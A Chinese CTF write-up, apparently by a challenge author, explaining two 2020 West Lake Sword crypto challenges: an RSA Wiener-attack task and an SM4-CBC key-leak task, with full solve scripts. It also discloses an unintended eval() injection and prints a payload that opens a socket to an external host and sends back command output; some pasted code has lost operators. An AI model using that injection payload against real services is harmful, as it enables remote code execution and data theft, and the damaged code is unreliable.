当前位置:网站首页 > 黑客培训 > 正文

2020西湖论剑 Crypto题目分析

freebuffreebuf 2020-12-17 346 0

本文来源:滴滴安全蓝军

前言

这次西湖论剑有幸出了两个密码题,这边主要从出题的角度分享下如何去出题以及求解的一些思考。

BrokenSystems

出题思路

首先讲下为啥我会出这个题。我一般出题都是基于一个知识点作拓展。

  • 契机

在日常接触CTF题中,接触到一些题型的附件给出的并非纯密码学的数值,会有RSA的公私钥文件这种。一般入门级别的解决方案是,使用RSA加解密的在线网站做解析,这个方法emmm,存在的问题比较多,也很不方便。然后常规一些的解决方案是,使用OpenSSL做这个事情,openssl集成了很不错的证书解析、证书格式转换、证书加解密一类的功能,基本上是可以做到解题中的所有事情了。但是,这个时候,毕竟CTF的核心信仰还是使用exp解决一切问题,在求解上更优雅,于是就开始抛弃openssl,使用python的Cypher库去做这些事情。

然后遇到了一个小问题,也成了出这道题目的其中一个小知识点。因为我在RSA私钥的导出过程中,使用常规的参数赋值的方法去初始化失败,然后去寻找的解决。

  • how to 拓展

主要还是因为临危受命~~(恰烂钱)~~,领导的任务罢了。那就找个知识点结合下呗,想着RSA要不结合着填充规则来上几个知识点,这倒是少见。填充规则选的最常见的PKCS1_OAEP,然后怼着python的Crypto.Cipher库中的PKCS1_OAEP模块一顿分析。

当时应该是想结合Rabin算法的知识点来出题的,这样就需要自己去理解PKCS1_OAEP填充规则。但是最后自己也没有研究出来(一天时间比较紧)。然后就选了比较方便出题的低解密指数攻击,rsa wiener attack的基础求解。

于是这个题目的名称就来了,备份了一份python的PublicKey库,然后开始怼着RSA模块和它涉及到的相关模块改。令私钥d是在(0,n^0.32)之间的一个质数,满足Boneh and Durfee attack和Wiener’s Attack的条件。这边就算顺利实现一份存在缺陷的加密系统了,定义为黑客入侵修改加密系统达成不安全的信息传输这么一个事件。

然后在后来自己写exp脚本的时候发现,低解密指数攻击是求解私钥d的。但是我们因为填充规则的原因,无法直接去求解明文。于是用到了模数分解的知识点,nice~!

知识点解析

  • RSA公私钥解析及生成

生成公钥文件

from Crypto.PublicKey import RSA
rsa = RSA.generate(2048)
public_key = rsa.publickey().exportKey()
f=open("public.key","w")
f.write(public_key.decode())
f.close()

导出RSA私钥文件

from Crypto.PublicKey import RSA
rsa_components=(n,e,d,p,q)
arsa=RSA.construct(rsa_components)
arsa.exportKey()

这边使用RSA的construct函数传入一个元组型的参数即可,顺序为rsa的公钥n、公钥e、私钥d、因子p和q。
rsa公钥解析

from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("public.key","r").read())
n=rsakey.n
e=rsakey.e
print(n,e)

rsa私钥解析

from Crypto.PublicKey import RSA
rsakey=RSA.importKey(open("pri.key","r").read())
d=rsakey.d
print(d)


这边取什么参数直接从这个rsakey对象里面取就行了。

  • 低解密指数攻击

这是CTF中常见的一种攻击了。表现形式就是公钥e很大,本质是私钥d很小。

github上有开源的攻击代码  https://github.com/pablocelayes/rsa-wiener-attack

def rational_to_contfrac (x, y):     '''      Converts a rational x/y fraction into     a list of partial quotients [a0, ..., an]      '''     a = x//y     if a * y == x:         return [a]     else:         pquotients = rational_to_contfrac(y, x - a * y)         pquotients.insert(0, a)         return pquotients def convergents_from_contfrac(frac):         '''     computes the list of convergents     using the list of partial quotients      '''     convs = [];     for i in range(len(frac)):         convs.append(contfrac_to_rational(frac[0:i]))     return convs def contfrac_to_rational (frac):     '''Converts a finite continued fraction [a0, ..., an]      to an x/y rational.      '''     if len(frac) == 0:         return (0,1)     elif len(frac) == 1:         return (frac[0], 1)     else:         remainder = frac[1:len(frac)]         (num, denom) = contfrac_to_rational(remainder)         # fraction is now frac[0] + 1/(num/denom), which is          # frac[0] + denom/num.         return (frac[0] * num + denom, num) def egcd(a,b):     '''     Extended Euclidean Algorithm     returns x, y, gcd(a,b) such that ax + by = gcd(a,b)     '''     u, u1 = 1, 0     v, v1 = 0, 1     while b:         q = a // b         u, u1 = u1, u - q * u1         v, v1 = v1, v - q * v1         a, b = b, a - q * b     return u, v, a def gcd(a,b):     '''     2.8 times faster than egcd(a,b)[2]     '''     a,b=(b,a) if ab else (a,b)     while b:         a,b=b,a%b     return a def modInverse(e,n):     '''     d such that de = 1 (mod n)     e must be coprime to n     this is assumed to be true     '''     return egcd(e,n)[0]%n def totient(p,q):     '''     Calculates the totient of pq     '''     return (p-1)*(q-1) def bitlength(x):     '''     Calculates the bitlength of x     '''     assert x >= 0     n = 0     while x > 0:         n = n+1         x = x>>1     return n def isqrt(n):     '''     Calculates the integer square root     for arbitrary large nonnegative integers     '''     if n  0:         raise ValueError('square root not defined for negative numbers')     if n == 0:         return 0     a, b = divmod(bitlength(n), 2)     x = 2**(a+b)     while True:         y = (x + n//x)//2         if y >= x:             return x         x = y def is_perfect_square(n):     '''     If n is a perfect square it returns sqrt(n),     otherwise returns -1     '''     h = n  #last hexadecimal "digit"     if h > 9:         return -1 # return immediately in 6 cases out of 16.     # Take advantage of Boolean short-circuit evaluation     if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):         # take square root if you must         t = isqrt(n)         if t*t == n:             return t         else:             return -1     return -1 def hack_RSA(e,n):     frac = rational_to_contfrac(e, n)     convergents = convergents_from_contfrac(frac)     for (k,d) in convergents:         #check if d is actually the key         if k!=0 and (e*d-1)%k == 0:             phi = (e*d-1)//k             s = n - phi + 1             # check if the equation x^2 - s*x + n = 0             # has integer roots             discr = s*s - 4*n             if(discr>=0):                 t = is_perfect_square(discr)                 if t!=-1 and (s+t)%2==0:                     print("\nHacked!")                     return d def main():     n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469     e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069     d=hack_RSA(e,n)     print ("d=")     print (d) if __name__ == '__main__':     main()


  • 模数分解

私钥d的获取是通过

d = gmpy2.invert(e, (p-1)*(q-1))


根据私钥d和公钥n、e分解pq

import random   def gcd(a, b):      if a  b:        a, b = b, a      while b != 0:        temp = a % b        a = b        b = temp      return a   def getpq(n,e,d):       p = 1       q = 1       while p==1 and q==1:           k = d * e - 1           g = random.randint ( 0 , n )           while p==1 and q==1 and k % 2 == 0:               k /= 2               y = pow(g,k,n)               if y!=1 and gcd(y-1,n)>1:                   p = gcd(y-1,n)                   q = n/p       return p,q
  • PKCS1_OAEP模式解密

加密

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
flag="flag{test}"
rsakey=RSA.importKey(open("public.key","r").read())
rsa = PKCS1_OAEP.new(rsakey)
msg=rsa.encrypt(flag.encode())
f=open("message","wb")
f.write(msg)
f.close()

解密

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
f=open("message","rb")
rsakey = RSA.importKey(open("pri.key","r").read()) 
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(f.read()) 
print(decrypted)

解题脚本

from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP import os import gmpy2 from Crypto.Util.number import * import random   import sys def getpq(n,e,d):       p = 1       q = 1       while p==1 and q==1:           k = d * e - 1           g = random.randint ( 0 , n )           while p==1 and q==1 and k % 2 == 0:               k //= 2               y = pow(g,k,n)               if y!=1 and gmpy2.gcd(y-1,n)>1:                   p = gmpy2.gcd(y-1,n)                   q = n//p       return p,q #导入公钥,解析n、e rsakey=RSA.importKey(open("public.key","r").read()) n=rsakey.n e=rsakey.e print(n,e) #使用rsa-wiener-attack得到私钥d d=hack_RSA(e,n) print ("d=") print (d) #模数分解得到n的两个因子 p,q=getpq(n,e,d) f=open("message","rb") #生成并导入私钥 rsa_components=(n,e,int(d),p,q) arsa=RSA.construct(rsa_components) rsakey = RSA.importKey(arsa.exportKey())  #PKCS1_OAEP模式解密 rsakey = PKCS1_OAEP.new(rsakey) decrypted = rsakey.decrypt(f.read())  print(decrypted)

rsa wiener attack这部分前边自取吧。


CTF小白的密码系统

出题思路

这题主要是想着结合下国密算法出个题,因为现在涉及到国密算法的题还是很少。简单看了下sm2的基于ECC的公钥加密、sm3的杂凑、sm4的对称加密。决定不折磨自己,选个对称加密吧。然后使用sm4加个cbc模式就开始了系统交互上的编写。也算是不愧对这个题目了,写了个非预期出来。。。

知识点解析

  • pow共识机制

用到交互嘛,来个CTF界惯例,写个pow共识机制。pow本质是区块链的东西Proof of Work,为啥现在密码题很多都有这个呢,这就不得而知了。

反正应该是可以用这个拦住新手玩家了。这个完全可以存一套交互脚本,复用率还是挺高的。

#POW共识机制 def proof_of_work(self):     random.seed(os.urandom(8))     last_proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])     last_hash = self.hash(last_proof)     self.request.send((("sha256(XXXX+%s) == %s\n" % (last_proof[4:],last_hash))).encode())     self.request.send('Give me XXXX:'.encode())     xxxx=self.request.recv(10).decode().strip("\n")     if len(xxxx) != 4 or not self.valid_proof(xxxx,last_proof,last_hash):          return False     return True

本质就是去爆破前四位拿到相同的sha256结果。
上个通用的求解

def pass_POW(io):     rec = io.recvline().decode()     table = string.ascii_letters + string.digits     suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]     last_hash = re.findall(r'== (.*?)\n', rec)[0]     print("suffix : %s , last_hash : %s"%(suffix,last_hash))     for i in product(table, repeat=4):         prefix = ''.join(i)         guess = prefix + suffix         if sha256(guess.encode()).hexdigest() == last_hash:             # print(guess)             break     print("predix XXXX is %s"%prefix)     io.sendafter(b'Give me XXXX:', prefix.encode())     return
  • sm4的cbc模式加解密

sm4其实和aes或者des这种分组加密类似,这边没有在它的加解密上做改动。只是加了一个cbc模式,就是每一个分组的密钥去异或上前一个分组的加密结果,作为新的一个分组的加密密钥。

def encrypt_cbc(self,Plaintext,Key):       mk=bytes_to_long(Key)       Plaintext_bytes=binascii.hexlify(bytes(Plaintext.encode('utf-8')))       Plaintext_str = str(Plaintext_bytes)[2:-1]       iv=mk       if len(Plaintext_str)%32!=0:             Plaintext_str+=hex((32-len(Plaintext_str)%32)//2)[2:].zfill(2)*((32-len(Plaintext_str)%32)//2)       Ciphertext=''       for i in range(0,len(Plaintext_str),32):             tmp=eval('0x'+Plaintext_str[i:i+32])^iv             res=self.encrypt(long_to_bytes(tmp),mk)             Ciphertext+=self.list_to_hex(res)             iv=eval('0x'+self.list_to_hex(res))       return Ciphertext

正是因为这个eval,当时用的时候觉得eval这个函数"针不错",于是埋下了伏笔。
给个cbc的解密

def decrypt_cbc(self,Ciphertext,Key):     #首先处理一下密文,根据md5加密特性,选择md5处理     mk=bytes_to_long(Key)     if len(Ciphertext)%32 != 0 :           return '这不是一个规范的密文!!!'     iv=mk #初始变量这里等于密匙了,也可以自定义     Plaintext=b''#明文     for i in range(0,len(Ciphertext),32):           tmp=eval('0x'+Ciphertext[i:i+32])           res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv           Plaintext+=long_to_bytes(res)           iv=tmp     return Plaintext
  • 加密弱点分析

结合给出的附件分析。

def handle(self):     self.key=os.urandom(16)     self.c=""     menu = ''' 1. Dragon King 2. encryption 3. decryption 4. getflag 5. exit

首先是这边。这边在交互时,会生成一个16位的key,这个key用于本次交互所有的加解密。
然后看到加密部分

def encryption(self,message):     sm = sm4_encryption(self.key)     sm.__key__expand__()     en_message=sm.encrypt_cbc(message,self.key)     self.c=en_message     return en_message

这边在使用sm4的cbc模式的时候,传入的key和iv都为这个16位的key。
也就是说,如果我们可以泄露这个key。也就可以去求解加密的flag了。

这边题目给附件的时候是只给了加密模块的实现的,所以我们需要先推测出解密的流程。解密流程为sm4解密再异或上iv。根据这个加密我们推测出,如果只有一个分组的情况下,可以通过已知明文去求解key,直接看效果图吧。

1608189084_5fdb049c5a0ef42f6c537.png

于是我们利用这个去泄露key后,求解flag的密文得到明文flag即可。

非预期解

埋下的伏笔终究还是来了。

if choice=="3":     self.request.send("please input iv to decrypt:".encode())     iv=self.recvline(BUFSIZE)     #iv=long_to_bytes(eval('0x'+iv))     iv=long_to_bytes(int(iv,16))     message=self.decryption(iv)     self.request.send("Is this your message?~:".encode()+hex(bytes_to_long(message))[2:].encode())     continue


看到被注释的那一行,是原本的题目。让你用eval。。写着写着都忘了这个是开放出去交互的。。这边在解密那边可以直接通过这个eval getshell。
1608189111_5fdb04b72adc4afc543ce.png

payload

1 if exec('import socket,subprocess,os;s=s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("**.***.***.**",1234));s.send(__import__("os").popen("id").read().encode())') else 2


能说啥嘞,长太息以掩涕兮。


解题脚本

#!/usr/bin/env python # -*- coding:utf-8 -*- import os import re from itertools import product from hashlib import sha256 from pwn import * import string from Crypto.Util.number import * class sm4_decryption:       # 固定参数       CK = [0x00070F15,0x1c232a31,0x383f464d,0x545b6269,             0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,             0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,             0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,             0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,             0x30373e45,0x4c535a61,0x686f767d,0x848b9299,             0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,             0x10171e25,0x2c333a41,0x484f565d,0x646b7279]       # 常数        FK = [0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc]       # S盒       SboxTable = [       0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,       0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,       0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,       0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,       0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,       0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,       0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,       0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,       0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,       0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,       0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,       0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,       0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,       0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,       0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,       0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48]       # 拓展密钥       K = []       MK = []       # 密钥       key = 0       X = []       Y = []       # 数据流       txtstream = []       # 文件缺失长度       lenth = 0       def __init__(self,key):             self.key = key             pass       #第一步       #密钥生成       #经过拓展,rk0=K4,rk1=K5,以此类推       def __key__expand__(self):             for i in range(0,13,4):                   self.MK.append(self.__union__hex__(self.key[i:i+4]))             for i in range(4):                   self.K.append(self.MK[i] ^ self.FK[i])             for i in range(32):                   a = self.K[i+1] ^ self.K[i+2] ^ self.K[i+3] ^ self.getCK(i)                   b = self.__apart__hex__(a)                   c = [self.getSbox(i) for i in b]                   d = self.__union__hex__(c)                   e = d ^ (d 13) ^ (d  23)                   self.K.append(self.K[i] ^ e)                    #将在4个32位数据合并一个128位数据       def __union__hex__(self,data):             return int((data[0]  24) | (data[1]  16) | (data[2]  8) | (data[3]))       #将一个128位数据拆开位4个32位数据       def __apart__hex__(self,data):             return [int((data >> 24)  2) ^ (d  10) ^ (d  18) ^ (d  24)                         self.X.append(self.X[i] ^ e)                   # 明文/密文逆序                   t = self.X[35]                   self.X[35] = self.X[32]                   self.X[32] = t                   t =self.X[34]                   self.X[34] = self.X[33]                   self.X[33] = t                   # 明文/密文储存                   for i in range(32,36):                         self.Y.append(self.X[i])                   byte=[]                   for i in self.Y:                         a = self.__apart__hex__(i)                         for j in a:                               byte.append(j)                   return byte       def decrypt_cbc(self,Ciphertext,Key):             mk=bytes_to_long(Key)             if len(Ciphertext)%32 != 0 :                   return '这不是一个规范的密文!!!'             iv=mk #初始变量这里等于密匙了,也可以自定义             Plaintext=b''#明文             for i in range(0,len(Ciphertext),32):                   tmp=eval('0x'+Ciphertext[i:i+32])                   res=eval('0x'+self.list_to_hex(self.decrypt(long_to_bytes(tmp),mk)))^iv                   Plaintext+=long_to_bytes(res)                   iv=tmp             return Plaintext       def list_to_hex(self,arr):             hex_re=""             for i in arr:                   hex_re+=hex(i)[2:].zfill(2)             return hex_re def pass_POW(io):     rec = io.recvline().decode()     table = string.ascii_letters + string.digits     suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]     last_hash = re.findall(r'== (.*?)\n', rec)[0]     print("suffix : %s , last_hash : %s"%(suffix,last_hash))     for i in product(table, repeat=4):         prefix = ''.join(i)         guess = prefix + suffix         if sha256(guess.encode()).hexdigest() == last_hash:             # print(guess)             break     print("predix XXXX is %s"%prefix)     io.sendafter(b'Give me XXXX:', prefix.encode())     return def getkey(io):     io.sendafter(b'5. exit\n', "2".encode())     message="flag"*4     #输入加密消息为flagflagflagflag     io.sendafter(b'What message do you want to encrypt:', message.encode())     #去decryption泄露key     io.sendafter(b'5. exit\n', "3".encode())     io.sendafter(b'please input iv to decrypt:', hex(bytes_to_long(message.encode()))[2:])     rec = io.recvline().decode()     key=re.findall(r'\:(.*?)\n', rec)[0]     #check一下获取得到的key是否正确     io.sendafter(b'5. exit\n', "3".encode())     io.sendafter(b'please input iv to decrypt:', key)     rec = io.recvline().decode()     m=re.findall(r'\:(.*?)\n', rec)[0]     print(long_to_bytes(int(m,16)))     return key def decrypto_flag(io,key):     #获取加密的flag     io.sendafter(b'5. exit\n', "4".encode())     rec = io.recvline().decode()     flag_en=re.findall(r'\:(.*?)\n', rec)[0]     print("flag_en is :%s"%flag_en)     sm = sm4_decryption(key)     sm.__key__expand__()     flag=sm.decrypt_cbc(flag_en,key)     return flag if __name__ == '__main__':     add = "192.168.153.129"     port = 9999     sh = remote(add,port)     pass_POW(sh)     key_hex=getkey(sh)     print("key_hex is : %s"%(key_hex))     flag=decrypto_flag(sh,long_to_bytes(int(key_hex,16)))     print("flag is : %s"%flag)     sh.interactive()

总结

其实一直在思考,什么样的题才是好题。看着越来越多的paper题,逐渐迷茫了。出题以难为目的导向,用些进阶的知识点好吗,其实真挺好。引导性的去学很多东西。但是对于我这种业余玩家来说,逐渐乏力了。

从CTF竞赛的角度去思考,竞赛的意义在于筛选或者培养更多的网安人才,更多从攻防的角度在提供现实环境的思考。所以web、pwn、re的意义明显是可见的。甚至misc的流量分析和内存取证这一块,都存在其实际价值和意义。但是实际生产环境中对密码学部分的思考,可能并不是大多数人会接触到的。

随着赛事的发展,相关模块涉及知识点的进阶。把控各个模块在一次竞赛中的比重其实是很有意义的,那么如何设置难度系数的逐级上升的题目,以更好满足大部分选手的竞技体验成了我们需要面对的。期待网安领域CTF竞赛更好的明天~!


by  滴滴蓝军实习生  Lemn Chai

参考文章

[安恒网络空间安全学院公众号](《CTF小白的密码系统》解题思路)

转载请注明来自网盾网络安全培训,本文标题:《2020西湖论剑 Crypto题目分析》

标签:CTF密码学

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表